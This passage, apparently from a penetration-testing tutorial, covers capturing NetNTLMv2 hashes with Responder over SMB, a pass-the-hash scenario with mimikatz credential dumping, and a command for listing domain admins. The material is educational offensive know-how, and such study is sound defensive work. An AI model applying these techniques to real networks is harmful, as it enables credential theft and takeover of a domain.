\\share\in the address bar and wait for the credential prompt. This will trigger a name resolution request over SMB to find a resource using the current account's credentials. That should allow Responder to capture the NetNTLMv2 hash of the user making the request and print them in your terminal.
Responder.confto turn off the HTTP and SMB server.
Say you're an IT administrator. You're logged into your workstation and your account has domain admin rights. I come along and pop a admin shell on another workstation. I grab the hash and do a pass the hash with the local administrator account to your box and then run mimikatz. If you're running Windows 7 and 8 I'll get the NTLM hash and plaintext credentials. If you're running Windows 8.1 and above I only get the NTLM hash.
net user "Domain Admins" /domain